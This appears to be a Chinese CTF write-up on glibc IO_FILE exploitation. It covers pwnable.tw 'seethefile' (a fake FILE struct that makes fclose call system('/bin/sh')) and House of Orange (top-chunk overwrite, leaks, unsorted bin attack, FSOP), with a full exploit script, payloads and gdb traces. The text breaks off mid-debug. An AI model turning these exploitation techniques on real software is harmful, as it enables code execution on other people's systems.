IO_FILE Pwn 利用整理

0x01 seethefile

分析

程序主要有以下功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
switch ( atoi(&nptr) )
{
case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);
printf("Thank you %s ,see you next time\n", &name);
if ( fp )
fclose(fp);
exit(0);
return;

功能如其名,就不复述了,一些功能做了一点check。漏洞主要是两个

  • nptr 栈溢出

__isoc99_scanf("%s", &nptr); 溢出发生在栈上

  • name 溢出

·__isoc99_scanf("%s", &name); // overflow in bss

通过 checksec ,我们发现有canary ,栈溢出需要 bypass canary才能利用

1
2
3
4
5
6
[*] '/pwn/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用

当我们咋输入name的时候输入一段长的字符串的时候,在 fclose 会发生报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x61616161 ('aaaa')
EBX: 0xf7fc9000 --> 0x1b1db0
ECX: 0xffffffff
EDX: 0xf7fca870 --> 0x0
ESI: 0x61616161 ('aaaa')
EDI: 0xf7fc9000 --> 0x1b1db0
EBP: 0xffffd6b8 --> 0xffffd708 --> 0x0
ESP: 0xffffd690 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815)
EIP: 0xf7e749f7 (<_IO_new_fclose+23>: cmp BYTE PTR [esi+0x46],0x0)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e749eb <_IO_new_fclose+11>: add ebx,0x154615
0xf7e749f1 <_IO_new_fclose+17>: sub esp,0x1c
0xf7e749f4 <_IO_new_fclose+20>: mov esi,DWORD PTR [ebp+0x8]
=> 0xf7e749f7 <_IO_new_fclose+23>: cmp BYTE PTR [esi+0x46],0x0
0xf7e749fb <_IO_new_fclose+27>: jne 0xf7e74ba0 <_IO_new_fclose+448>
0xf7e74a01 <_IO_new_fclose+33>: mov eax,DWORD PTR [esi]
0xf7e74a03 <_IO_new_fclose+35>: test ah,0x20
0xf7e74a06 <_IO_new_fclose+38>: jne 0xf7e74b80 <_IO_new_fclose+416>
[------------------------------------stack-------------------------------------]
0000| 0xffffd690 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815)
0004| 0xffffd694 --> 0x0
0008| 0xffffd698 --> 0xf7fc9000 --> 0x1b1db0
0012| 0xffffd69c --> 0xf7fc9000 --> 0x1b1db0
0016| 0xffffd6a0 --> 0xffffd708 --> 0x0
0020| 0xffffd6a4 --> 0xf7fee010 (<_dl_runtime_resolve+16>: pop edx)
0024| 0xffffd6a8 --> 0xf7e749eb (<_IO_new_fclose+11>: add ebx,0x154615)
0028| 0xffffd6ac --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
_IO_new_fclose (fp=0x61616161) at iofclose.c:48
48 iofclose.c: No such file or directory.

我们会发现 fp 指针被覆盖成了_IO_new_fclose —> fp = 0x61616161

回顾下 fclose的知识点:

功能:关闭一个文件流,使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_flags = 0;
free(fp);
}
return status;
}
versioned_symbol (libc, _IO_new_fclose, _IO_fclose, GLIBC_2_1);
strong_alias (_IO_new_fclose, __new_fclose)
versioned_symbol (libc, __new_fclose, fclose, GLIBC_2_1);

fclose 首先会调用_IO_unlink_it 将指定的 FILE 从_chain 链表中脱链

1
2
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);

之后会调用_IO_file_close_it 函数,_IO_file_close_it 会调用系统接口 close 关闭文件

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);

最后调用 vtable 中的_IO_FINISH,其对应的是_IO_file_finish 函数,其中会调用 free 函数释放之前分配的 FILE 结构

1
_IO_FINISH (fp);

根据调用流程,我们需要fake 一个io file ,所以首先,我们将 fp-> name buffer,因为这是我们可以控制的数据流。

根据调试我们可以知道,我们需要构造的结构如下:

记录下调试过程:

  • 覆盖 *fp

    Payload 如下:

    1
    2
    3
    4
    5
    6
    buffer = 0x804b260
    payload = ''
    payload += '/bin/sh\x00'.ljust(0x20,'\x00')+p32(buffer)

    payload = payload.ljust(0x94,"\x00")
    payload += p32(libc.symbols['system'])

    此时:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    [-------------------------------------code-------------------------------------]
    0xf7e749eb <_IO_new_fclose+11>: add ebx,0x154615
    0xf7e749f1 <_IO_new_fclose+17>: sub esp,0x1c
    0xf7e749f4 <_IO_new_fclose+20>: mov esi,DWORD PTR [ebp+0x8]
    => 0xf7e749f7 <_IO_new_fclose+23>: cmp BYTE PTR [esi+0x46],0x0
    0xf7e749fb <_IO_new_fclose+27>: jne 0xf7e74ba0 <_IO_new_fclose+448>
    0xf7e74a01 <_IO_new_fclose+33>: mov eax,DWORD PTR [esi]
    0xf7e74a03 <_IO_new_fclose+35>: test ah,0x20
    0xf7e74a06 <_IO_new_fclose+38>: jne 0xf7e74b80 <_IO_new_fclose+416>
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd700 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815)
    0004| 0xffffd704 --> 0x0
    0008| 0xffffd708 --> 0xf7fc9000 --> 0x1b1db0
    0012| 0xffffd70c --> 0xf7fc9000 --> 0x1b1db0
    0016| 0xffffd710 --> 0xffffd778 --> 0x0
    0020| 0xffffd714 --> 0xf7fee010 (<_dl_runtime_resolve+16>: pop edx)
    0024| 0xffffd718 --> 0xf7e749eb (<_IO_new_fclose+11>: add ebx,0x154615)
    0028| 0xffffd71c --> 0x0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    _IO_new_fclose (fp=0x804b260 <name>) at iofclose.c:48
    48 iofclose.c: No such file or directory.
    gdb-peda$ telescope $esi+0x46
    0000| 0x804b2a6 --> 0x0
    0004| 0x804b2aa --> 0x0
    0008| 0x804b2ae --> 0x0
    0012| 0x804b2b2 --> 0x0
    0016| 0x804b2b6 --> 0x0
    0020| 0x804b2ba --> 0x0
    0024| 0x804b2be --> 0x0
    0028| 0x804b2c2 --> 0x0

    cmp BYTE PTR [esi+0x46],0x0 , 取[esi+0x46] 低位一byte的值,此时值为0,则 CMP 成立,不会跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[----------------------------------registers-----------------------------------]
EAX: 0x6e69622f ('/bin')
EBX: 0xf7fc9000 --> 0x1b1db0
ECX: 0xffffffff
EDX: 0x0
ESI: 0x804b260 ("/bin/sh")
EDI: 0xf7e16700 (0xf7e16700)
EBP: 0xffffd728 --> 0xffffd778 --> 0x0
ESP: 0xffffd700 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815)
EIP: 0xf7e74a24 (<_IO_new_fclose+68>: cmp edi,DWORD PTR [edx+0x8])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e74a14 <_IO_new_fclose+52>: jne 0xf7e74aa8 <_IO_new_fclose+200>
0xf7e74a1a <_IO_new_fclose+58>: mov edx,DWORD PTR [esi+0x48]
0xf7e74a1d <_IO_new_fclose+61>: mov edi,DWORD PTR gs:0x8
=> 0xf7e74a24 <_IO_new_fclose+68>: cmp edi,DWORD PTR [edx+0x8]
0xf7e74a27 <_IO_new_fclose+71>: je 0xf7e74a4f <_IO_new_fclose+111>
0xf7e74a29 <_IO_new_fclose+73>: xor eax,eax
0xf7e74a2b <_IO_new_fclose+75>: mov ecx,0x1
0xf7e74a30 <_IO_new_fclose+80>: cmp DWORD PTR gs:0xc,0x0

紧接着,cmp edi,DWORD PTR [edx+0x8]在此处会发生报错,因为此时 edx 为 0 ,由上下文我们知道,

mov edx,DWORD PTR [esi+0x48], edx 由,[esi+0x48] 赋值,因此我们需要将[esi+0x48]设置成一个可读地址,esi 此时 fp 地址,所以我们修改 payload为如下

1
2
3
4
5
6
7
8
9
buffer = 0x804b260
payload = ''
payload += '/bin/sh\x00'.ljust(0x20,'\x00')+p32(buffer)

payload = payload.ljust(0x48,'\x00')
payload += p32(buffer+0x10)

payload = payload.ljust(0x94,'\x00')
payload += p32(libc.symbols['system'])

因为后面有以下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[----------------------------------registers-----------------------------------]
EAX: 0x6e69622f ('/bin')
EBX: 0xf7fc9000 --> 0x1b1db0
ECX: 0x1
EDX: 0x804b270 --> 0x1
ESI: 0x804b260 ("/bin/sh")
EDI: 0xf7e16700 (0xf7e16700)
EBP: 0xffffd728 --> 0xffffd778 --> 0x0
ESP: 0xffffd700 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815)
EIP: 0xf7e74a53 (<_IO_new_fclose+115>: mov edx,eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e74a4a <_IO_new_fclose+106>: mov eax,DWORD PTR [esi]
0xf7e74a4c <_IO_new_fclose+108>: mov DWORD PTR [edx+0x8],edi
0xf7e74a4f <_IO_new_fclose+111>: add DWORD PTR [edx+0x4],0x1
=> 0xf7e74a53 <_IO_new_fclose+115>: mov edx,eax
0xf7e74a55 <_IO_new_fclose+117>: and edx,0x8000
0xf7e74a5b <_IO_new_fclose+123>: test ah,0x20
0xf7e74a5e <_IO_new_fclose+126>: je 0xf7e74aa8 <_IO_new_fclose+200>
0xf7e74a60 <_IO_new_fclose+128>: sub esp,0xc

此时

1
2
0xf7e74a4c <_IO_new_fclose+108>:	mov    DWORD PTR [edx+0x8],edi
0xf7e74a4f <_IO_new_fclose+111>: add DWORD PTR [edx+0x4],0x1

edx 为 fp+0x48 后的地址,此时如果也将 赋值为 buffer 地址,会修改掉 fp 的内容,所以我们随便往后偏移0x10

  • 控制程序流程

    接着调试

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    EAX: 0x804b260 ("/bin/sh")
    EBX: 0x804b260 ("/bin/sh")
    ECX: 0x0
    EDX: 0x0
    ESI: 0x0
    EDI: 0x0
    EBP: 0xffffd728 --> 0xffffd778 --> 0x0
    ESP: 0xffffd6e0 --> 0xf7fc9000 --> 0x1b1db0
    EIP: 0xf7e80910 (<_IO_new_file_close_it+256>: movsx eax,BYTE PTR [ebx+0x46])
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    0xf7e8090c <_IO_new_file_close_it+252>: pop edi
    0xf7e8090d <_IO_new_file_close_it+253>: ret
    0xf7e8090e <_IO_new_file_close_it+254>: xchg ax,ax
    => 0xf7e80910 <_IO_new_file_close_it+256>: movsx eax,BYTE PTR [ebx+0x46]
    0xf7e80914 <_IO_new_file_close_it+260>: sub esp,0xc
    0xf7e80917 <_IO_new_file_close_it+263>: mov eax,DWORD PTR [ebx+eax*1+0x94]
    0xf7e8091e <_IO_new_file_close_it+270>: push ebx
    0xf7e8091f <_IO_new_file_close_it+271>: call DWORD PTR [eax+0x44]

    我们此时跟到

    1
    2
    3
    4
    5
    => 0xf7e80910 <_IO_new_file_close_it+256>:	movsx  eax,BYTE PTR [ebx+0x46]
    0xf7e80914 <_IO_new_file_close_it+260>: sub esp,0xc
    0xf7e80917 <_IO_new_file_close_it+263>: mov eax,DWORD PTR [ebx+eax*1+0x94]
    0xf7e8091e <_IO_new_file_close_it+270>: push ebx
    0xf7e8091f <_IO_new_file_close_it+271>: call DWORD PTR [eax+0x44]

    如果此时控制 eax ,我们则能控制程序流程,关键在于 ebx 和 eax 两个寄存器

    movsx eax,BYTE PTR [ebx+0x46] —> eax == 0

    mov eax,DWORD PTR [ebx+eax*1+0x94] —> eax = [ebx+0x94] ;ebx 此时为 fp 地址。

    则此时, eax = fp + 0x94

    我们要控制的跳转地址为 eax = [[fp+0x94]+0x44]

    所以我们设置如下payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    buffer = 0x804b260
    payload = ''
    payload += '/bin/sh\x00'.ljust(0x20,'\x00')+p32(buffer)

    payload = payload.ljust(0x48,'\x00')
    payload += p32(buffer+0x10)

    payload = payload.ljust(0x94,'\x00')
    payload += p32(0x804b2f8 - 0x44)

    payload = payload.ljust(0x94,'\x00')
    payload += p32(libc.symbols['system'])

构造出来的file 结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
gdb-peda$ telescope 0x804b260 0x94
0000| 0x804b260 ("/bin/sh")
0004| 0x804b264 --> 0x68732f ('/sh')
0008| 0x804b268 --> 0x0
0012| 0x804b26c --> 0x0
0016| 0x804b270 --> 0x0
0020| 0x804b274 --> 0x0
0024| 0x804b278 --> 0x0
0028| 0x804b27c --> 0x0
0032| 0x804b280 --> 0x804b260 ("/bin/sh")
0036| 0x804b284 --> 0x0
0040| 0x804b288 --> 0x0
0044| 0x804b28c --> 0x0
0048| 0x804b290 --> 0x0
0052| 0x804b294 --> 0x0
0056| 0x804b298 --> 0x0
0060| 0x804b29c --> 0x0
0064| 0x804b2a0 --> 0x0
0068| 0x804b2a4 --> 0x0
0072| 0x804b2a8 --> 0x804b270 --> 0x0
0076| 0x804b2ac --> 0x0
0080| 0x804b2b0 --> 0x0
0084| 0x804b2b4 --> 0x0
0088| 0x804b2b8 --> 0x0
0092| 0x804b2bc --> 0x0
0096| 0x804b2c0 --> 0x0
--More--(25/148)
0100| 0x804b2c4 --> 0x0
0104| 0x804b2c8 --> 0x0
0108| 0x804b2cc --> 0x0
0112| 0x804b2d0 --> 0x0
0116| 0x804b2d4 --> 0x0
0120| 0x804b2d8 --> 0x0
0124| 0x804b2dc --> 0x0
0128| 0x804b2e0 --> 0x0
0132| 0x804b2e4 --> 0x0
0136| 0x804b2e8 --> 0x0
0140| 0x804b2ec --> 0x0
0144| 0x804b2f0 --> 0x0
0148| 0x804b2f4 --> 0x804b2b4 --> 0x0
0152| 0x804b2f8 --> 0xf7e51da0 (<__libc_system>: sub esp,0xc)
0156| 0x804b2fc --> 0x0

最后的 infoleak 只需要 读 /proc/self/map 即可

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from swpwn import *

# context.terminal = ['python', '/pwn/notiterm.py', '-p', '15111', '-t', 'OSXTerminal', '-e']

# context.terminal = ['python', '/pwn/notiterm.py', '-p', '23333', '-t', 'terminal', '-e']

context.terminal = ['python', '/pwn/notiterm.py','-t', 'iterm', '-e']



io,elf,libc = init_pwn("./seethefile","libc_32.so.6",remote_detail = ("chall.pwnable.tw",10200),is_env = False)

# 1. Open
# 2. Read
# 3. Write to screen
# 4. Close
# 5. Exit

def menu(idx):
io.recvuntil(':')
io.sendline(str(idx))

def leave_name(nm):
menu(5)
io.recvuntil(":")
io.sendline(nm)

def read_file(nm):
menu(1)
io.recvuntil(":")
io.sendline(nm)
menu(2)
menu(2)
menu(3)

## -------- read remote libc ---------
# read_file('/proc/self/maps')
# libc_addr = io.recvuntil("r-xp")
# print(libc_addr)
# libc.address = int(libc_addr.split('-')[-3].split('\n')[1], 16)
# # log.info("\033[33m" + hex(libc.address) + "\033[0m")


# -------- set localhost libc --------

libc.address = 0xf7e17000
lg('libc addr:',libc.address)

gdb.attach(io,'''
b _IO_new_fclose
b *0xf7e74a60
b *0xF7E80910
b *0xF7E80917
b *0xf7e74a24
''')

# ---- set fp ---> buffer addr -------
buffer = 0x804b260
payload = ''
payload += '/bin/sh\x00'.ljust(0x20,'\x00')+p32(buffer)

payload = payload.ljust(0x48,'\x00')
payload += p32(buffer+0x10)

payload = payload.ljust(0x94,'\x00')
payload += p32(0x804b2f8 - 0x44)

payload = payload.ljust(0x94,'\x00')
payload += p32(libc.symbols['system'])

# ---- fake fp ---> _lock pointer to 0 -----

# payload = payload.ljust(0x48,'\x00')
# payload += p32(buffer+0x10)


# payload = payload.ljust(0x94,'\x00')
# payload += p32(0x804b2f8 - 0x44)
# payload += p32(0xdeadbeef)

# payload += p32(libc.symbols['system'])

lg('system addr:',libc.symbols['system'])

pause()
leave_name(payload)
pause()


# lg("libc addr:",libc.address)



io.interactive()

0x02 houseoforange

这其实是一种,在没有 free 的情况下,构造 unsorted bin 进行 libc leak的方法。

原理

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4172

当用户申请的 chunk, top chunk 不能满足的时候,有可能使用 sysmalloc 进行内存分配,当调用 sysmalloc 分配的时候,这里有两个选择

  1. mmap
  2. 扩展brk

sysmalloc source code

从源码我们可以得知,如果得满足 (*unsigned* *long*) (nb) >= (*unsigned* *long*) (mp_.mmap_threshold) 不成立,则不会调用mmap

1
2
3
4
5
6
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/
try_mmap:

当申请的 chunk 大小不大于 mmap 分配阈值,mmap_threshold的值为128*1024

扩展 brk top chunk 的时候还有两个assert 的存在

1
2
3
4
5
6
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

总结下就是:

  1. old_size >= MINSIZE,即old_size不能太小

  2. old_top 设置了 prev_inuse 标志位

  3. old_end正好为页尾,即(&old_top+old_size)&(0x1000-1) == 0

  4. old_size < nb+MINSIZE,old_size不够需求

当 top chunk 扩展完毕,旧的top chunk就会被free掉。

1
2
3
4
5
6
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);

支持,如果我们能覆盖 top chunk,则可能伪造一个 unsorte bin ,进行info leak 。以及此处还有另外一个 trick

当我们申请一个largebin 的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

malloc源码中还把old_top的堆地址放到了堆里面,所以如果再次分配时候如果分配大小为largebin(也就是大于512字节)的chunk的话,就是可以既泄露libc又可以泄露heap

分析

1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("+++++++++++++++++++++++++++++++++++++");
puts("@ House of Orange @");
puts("+++++++++++++++++++++++++++++++++++++");
puts(" 1. Build the house ");
puts(" 2. See the house ");
puts(" 3. Upgrade the house ");
puts(" 4. Give up ");
puts("+++++++++++++++++++++++++++++++++++++");
return printf("Your choice : ");
}

主要四个核心功能,重点在 build 和upgrade

  • build

    程序逻辑还比较清晰的,一共可以build四次,然后每次build的话就是3次堆分配,两次malloc,一次calloc,其中一次malloc是固定分配0x10字节作为控制堆块,里面存放着namecolor的信息,另外按输入分配name的大小。

  • upgrade

upgrade函数中,修改name时候不顾实际chunk的堆大小是多少,直接进行编辑,最大可编辑0x1000大小,因而存在溢出。

由于没有 free ,所以这里我们采用上述原理的方法进行 free chunk to unsorte bin

利用

overwrite the top chunk

1
2
3
4
5
6
build('0' * 8, 0x90, 1, 1)

pay = 'c' * 0x90
pay += p64(0) + p64(0x21)
pay += p32(0) + p32(0x20) + p64(0)
pay += p64(0) + p64(0xf21)

通过 堆溢出漏洞覆盖 top chunk,并构造好top chunk 的size 和 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557580e0 (size : 0xf20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
gdb-peda$ x/20gx 0x5555557580e0
0x5555557580e0: 0x0000000000000000 0x0000000000000f21
0x5555557580f0: 0x0000000000000000 0x0000000000000000

此时,构造 to chunk size 为 0xf21,满足条件,当申请大于 0xf21 size 的chunk 的时候,即可发生 free

trigger _int_free()

1
upgrade(pay, len(pay), 1, 1)

执行payload 后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555577a010 (size : 0x20ff0)
last_remainder: 0x555555758120 (size : 0xec0)
unsortbin: 0x555555758120 (size : 0xec0)
gdb-peda$ parseheap
addr prev size status fd bk
0x555555758000 0x0 0x20 Used None None
0x555555758020 0x0 0xa0 Used None None
0x5555557580c0 0x0 0x20 Used None None
0x5555557580e0 0x0 0x20 Used None None
0x555555758100 0x0 0x20 Used None None
0x555555758120 0x0 0xec0 Freed 0x2aaaab097b78 0x2aaaab097b78

此时 old top chunk 被放到了 unsortbin 里,此时我们也有了 main_arean 地址。

build a large chunk and info leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
build('2', 0x400, 1, 1)

see()
io.recvuntil(": ")

libc_addr = myu64(io.recvn(6)) & ~(0x1000 - 1)
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
libc.address = libc_addr - 0x3bd000
log.info("\033[33m" + hex(libc.address) + "\033[0m")

# leak heap with fd_nextsize, bk_nextsize
upgrade('2' * 0x10, 0x400, 1, 1)

see()
io.recvuntil("2" * 0x10)
heap_addr = myu64(io.recvn(6)) - 0x140
log.info("\033[33m" + hex(heap_addr) + "\033[0m")

当build 2 一个large bin 的时候 即 大于 512 字节的 chunk,为发生原理写的那个trick 得到heap地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ parseheap
addr prev size status fd bk
0x555555758000 0x0 0x20 Used None None
0x555555758020 0x0 0xa0 Used None None
0x5555557580c0 0x0 0x20 Used None None
0x5555557580e0 0x0 0x20 Used None None
0x555555758100 0x0 0x20 Used None None
0x555555758120 0x0 0x20 Used None None
0x555555758140 0x0 0x410 Used None None
0x555555758550 0x0 0x20 Used None None
0x555555758570 0x0 0xa70 Freed 0x2aaaab097b78 0x2aaaab097b78
0x555555758fe0 0xa70 0x10 Used None None
0x555555758ff0 0x0 0x10 Freed 0x0 0x0
Corrupt ?! (size == 0) (0x555555759000)
gdb-peda$ mergeinfo 0x555555758140
==================================
Merge info
==================================
The chunk will not merge with other
gdb-peda$ x/20gx 0x555555758140
0x555555758140: 0x0000000000000000 0x0000000000000411
0x555555758150: 0x00002aaaab090a32 0x00002aaaab098188
0x555555758160: 0x0000555555758140 0x0000555555758140

此时,我们也能得到了 libc 地址和heap地址。

File Stream Oriented Programming(FSOP)

紧接着,我们面临的另外一个问题就是如何控制程序流程。

我们知道,出现内存错误的时候一般会调用malloc_printerr,就像下面这样:

1
2
3547              if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
3548 malloc_printerr ("malloc(): memory corruption (fast)");

接着跟进一下,发现调用了__libc_message,并且action=do_abort

1
2
3
4
5
5285    malloc_printerr (const char *str)
5286 {
5287 __libc_message (do_abort, "%s\n", str);
5288 __builtin_unreachable ();
5289 }

接着就是调用abort了:链接

1
2
3
4
5
6
7
8
175   if ((action & do_abort))
176 {
177 if ((action & do_backtrace))
178 BEFORE_ABORT (do_abort, written, fd);
179
180 /* Kill the application. */
181 abort ();
182 }

接着就会调用fflush链接

1
2
3
4
5
6
7
70    /* Flush all streams.  We cannot close them now because the user
71 might have registered a handler for SIGABRT. */
72 if (stage == 1)
73 {
74 ++stage;
75 fflush (NULL);
76 }

fflush对应着下面这个函数:

1
5   #define fflush(s) _IO_flush_all_lockp (0)

这就是关键了:链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)// 汇编abort + 248调用
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);// 需要覆盖的地方
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)// 需要篡改为system的函数 汇编b *_IO_flush_all_lockp+356
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

image-20190305040412416

如果我们能伪造上述的file struck ,那么就能get shell,伪造的前提,我们得能控制 _IO_list_all .此时我们在unsorted bin 和 堆溢出的条件下,是能利用 unsortbin attack ,向 _IO_list_all 写入一个指针。

unsortbin attack是怎么一回事呢,其实就是在malloc的过程中,unsortbin会从链表上卸下来(只要分配的大小不是fastchunk大小)

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

如上代码所示,就是会把bk+0x10的地方写入本unsort_bin的地址,

当 fake 了 unsoted bin 的 bk的时候,再一次malloc 时候,在_ini_malloc 即可完成 unsortbin attack。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
gdb-peda$
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe59f --> 0xa00 ('')
RBX: 0x2aaaab097b20 --> 0x100000001
RCX: 0x7c ('|')
RDX: 0x2aaaab097b28 --> 0x0
RSI: 0x60 ('`')
RDI: 0x7fffffffe5a0 --> 0xa ('\n')
RBP: 0x20 (' ')
RSP: 0x7fffffffe520 --> 0x2
RIP: 0x2aaaaad54e10 (<_int_malloc+656>: mov QWORD PTR [r15+0x10],r12)
R8 : 0x0
R9 : 0x1999999999999999
R10: 0x0
R11: 0x2aaaaae4a5e0 --> 0x2000200020002
